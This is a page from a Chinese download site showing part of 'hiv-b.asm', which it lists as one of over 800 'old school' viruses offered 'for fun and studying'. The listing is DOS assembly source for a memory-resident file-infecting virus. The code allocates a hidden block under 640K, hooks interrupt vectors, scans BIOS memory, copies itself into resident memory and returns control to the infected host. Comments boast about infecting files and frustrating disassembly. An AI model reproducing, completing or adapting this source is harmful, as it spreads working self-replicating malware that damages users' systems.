⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hiv-b.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:

                 DB      50H, 53H, 51H, 52H, 56H, 57H
                 DB      55H, 1EH, 6, 33H, 0C0H, 50H
                 DB      1FH, 81H, 3EH, 70H, 0, 6DH
                 DB      4, 74H, 35H, 0A1H, 6CH, 4
                 DB      8BH, 16H, 6EH, 4, 0B9H, 0FFH
                 DB      0FFH, 0F7H, 0F1H, 3DH, 10H, 0
                 DB      75H, 24H, 0FAH, 8BH, 2EH, 50H
                 DB      4, 0E8H, 0BEH, 0FFH, 89H, 2EH
                 DB      50H, 4, 0C4H, 6, 70H, 0
                 DB      2EH, 0A3H, 0CAH, 4, 2EH, 8CH
                 DB      6, 0CCH, 4, 0C7H, 6, 70H
                 DB      0, 6DH, 4, 8CH, 0EH, 72H
                 DB      0, 0FBH
LOC_34:
                 POP     ES
                 POP     DS                  ; Restore and get lost...
                 POP     BP
                 POP     DI
                 POP     SI
                 POP     DX
                 POP     CX
                 POP     BX
                 POP     AX
                 RETN

;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*-                             SUBROUTINE                                *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_9            PROC    NEAR
                 MOV     DX,10H
                 MUL     DX                      ; dx:ax = reg * ax
                 RETN
SUB_9            ENDP


;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*-                             SUBROUTINE                                *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

SUB_10           PROC    NEAR
                 XOR     AX,AX                   ; If if wants to dissamble
                 XOR     BX,BX                   ; us give him a HARD time...
                 XOR     CX,CX                   ; By making all into 0
                 XOR     DX,DX                   ; Zero register
                XOR      SI,SI                   ; Zero register
                 XOR     DI,DI                   ; Zero register
                 XOR     BP,BP                   ; Zero register
                 RETN
SUB_10           ENDP

LOC_35:
                 PUSH    DS
                 CALL    SUB_11

;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*-                             SUBROUTINE                                *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

SUB_11           PROC    NEAR
                 MOV     AX,4B4DH
                 INT     21H                     ; Load and EXEC file...
                                                 ; be runned...
                 NOP
                 JC      LOC_36                  ; Jump if carry Set
                 JMP     LOC_46
LOC_36:
                 POP     SI
                 PUSH    SI
                 MOV     DI,SI
                 XOR     AX,AX                   ; Zero register
                 PUSH    AX
                 POP     DS
                 LES     AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr
                 MOV     CS:DATA_49E[SI],AX      ; Move lots of data
                 MOV     CS:DATA_50E[SI],ES      ; into CS to infect the file
                 LES     BX,DWORD PTR DS:DATA_3E ; if not infected and shit..
                 MOV     CS:DATA_47E[DI],BX
                 MOV     CS:DATA_48E[DI],ES
                 MOV     AX,DS:DATA_7E
                 CMP     AX,0F000H
                 JNE     LOC_44                  ; Jump if not equal
                 MOV     DL,80H
                 MOV     AX,DS:DATA_8E
                 CMP     AX,0F000H
                 JE      LOC_37                  ; Jump if equal
                 CMP     AH,0C8H
                 JB      LOC_44                  ; Jump if below
                 CMP     AH,0F4H
                 JAE     LOC_44                  ; Jump if above or =
                 TEST    AL,7FH
                 JNZ     LOC_44                  ; Jump if not zero
                 MOV     DS,AX
                 CMP     WORD PTR DS:DATA_51E,0AA55H
                 JNE     LOC_44                  ; Jump if not equal
                 MOV     DL,DS:DATA_52E
LOC_37:
                 MOV     DS,AX
                 XOR     DH,DH                   ; Zero register
                 MOV     CL,9
                 SHL     DX,CL                   ; Shift w/zeros fill
                 MOV     CX,DX
                 XOR     SI,SI                   ; Zero register

LOCLOOP_38:
                 LODSW                           ; String [si] to ax
                 CMP     AX,0FA80H
                 JNE     LOC_39                  ; Jump if not equal
                 LODSW                           ; String [si] to ax
                 CMP     AX,7380H
                 JE      LOC_40                  ; Jump if equal
                 JNZ     LOC_41                  ; Jump if not zero
LOC_39:
                 CMP     AX,0C2F6H
                 JNE     LOC_42                  ; Jump if not equal
                 LODSW                           ; String [si] to ax
                 CMP     AX,7580H
                 JNE     LOC_41                  ; Jump if not equal
LOC_40:
                 INC     SI
                 LODSW                           ; String [si] to ax
                 CMP     AX,40CDH
                 JE      LOC_43                  ; Jump if equal
                 SUB     SI,3
LOC_41:
                 DEC     SI
                 DEC     SI
LOC_42:
                 DEC     SI
                 LOOP    LOCLOOP_38              ; Loop if cx > 0

                 JMP     SHORT LOC_44
LOC_43:
                 SUB     SI,7
                 MOV     CS:DATA_49E[DI],SI
                 MOV     CS:DATA_50E[DI],DS
LOC_44:
                 MOV     AH,62H
                 INT     21H                     ; Simple...Get the PSP
                                                 ; Address (Program segment
                MOV      ES,BX                   ; address and but in BX)
                 MOV     AH,49H
                 INT     21H                     ; Get the Free memory from
                                                 ; the system
                 MOV     BX,0FFFFH               ; release extra memory blocks
                 MOV     AH,48H
                 INT     21H                     ; Allocate the memory
                                                 ; At BX (# bytes)
                 SUB     BX,66H                  ; it attaches virus right
                 NOP                             ; under the 640k
                 JC      LOC_46
                 MOV     CX,ES                   ; did it work? If not just
                 STC                             ; end the virus...
                 ADC     CX,BX
                 MOV     AH,4AH
                 INT     21H                     ; Adjust teh memory block
                                                 ; size! BX has the # of bytes
                 MOV     BX,65H
                 STC                             ; Set carry flag
                 SBB     ES:DATA_17E,BX          ; Where to attach itself!
                 PUSH    ES                      ; under 640K
                 MOV     ES,CX
                 MOV     AH,4AH
                 INT     21H                     ; Just change the memory
                                                 ; allocations! (BX=Btyes Size)
                 MOV     AX,ES
                 DEC     AX
                 MOV     DS,AX
                 MOV     WORD PTR DS:DATA_16E,8  ;Same place under 640k
                 CALL    SUB_9
                MOV      BX,AX
                 MOV     CX,DX
                 POP     DS
                 MOV     AX,DS
                 CALL    SUB_9
                 ADD     AX,DS:DATA_18E
                 ADC     DX,0
                 SUB     AX,BX
                 SBB     DX,CX
                 JC      LOC_45                  ; Jump if carry Set
                 SUB     DS:DATA_18E,AX
LOC_45:
                 MOV     SI,DI
                 XOR     DI,DI                   ; Zero register
                 PUSH    CS
                 POP     DS
                 SUB     SI,4D7H
                 MOV     CX,64EH
                 INC     CX
                REP     MOVSB                   ; Rep when cx >0 Mov [si] to
                MOV     AH,62H                  ; es:[di]
                 INT     21H                     ; Get the Program segment
                                                 ; prefix...so we can infect it
                DEC      BX
                 MOV     DS,BX
                 MOV     BYTE PTR DS:DATA_15E,5AH
                 MOV     DX,1E4H
                 XOR     AX,AX                   ; Zero register
                 PUSH    AX
                 POP     DS
                 MOV     AX,ES
                 SUB     AX,10H
                 MOV     ES,AX
                 CLI                             ; Disable interrupts
                 MOV     DS:DATA_3E,DX           ;
                 MOV     WORD PTR DS:DATA_3E+2,ES
                 STI                             ; Enable interrupts
                 DEC     BYTE PTR DS:DATA_14E    ;
LOC_46:
                 POP     SI
                 CMP     WORD PTR CS:DATA_42E[SI],5A4DH
                 JNE     LOC_47                  ; Jump if not equal
                 POP     DS
                 MOV     AX,CS:DATA_46E[SI]
                 MOV     BX,CS:DATA_45E[SI]      ; all this shit is to restore
                 PUSH    CS                      ; the program and continue
                 POP     CX                      ; running the original
                 SUB     CX,AX                   ; program...
                 ADD     CX,BX
                 PUSH    CX
                 PUSH    WORD PTR CS:DATA_44E[SI]
                 PUSH    DS
                 POP     ES
                 CALL    SUB_10
                 RETF
LOC_47:
                 POP     AX
                 MOV     AX,CS:DATA_42E[SI]
                 MOV     WORD PTR CS:[100H],AX
                 MOV     AX,CS:DATA_43E[SI]
                 MOV     WORD PTR CS:[102H],AX
                 MOV     AX,100H
                 PUSH    AX
                 PUSH    CS
                 POP     DS
                 PUSH    DS
                 POP     ES
                 CALL    SUB_10
                RETN
SUB_11           ENDP


SEG_A            ENDS



                 END     START

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -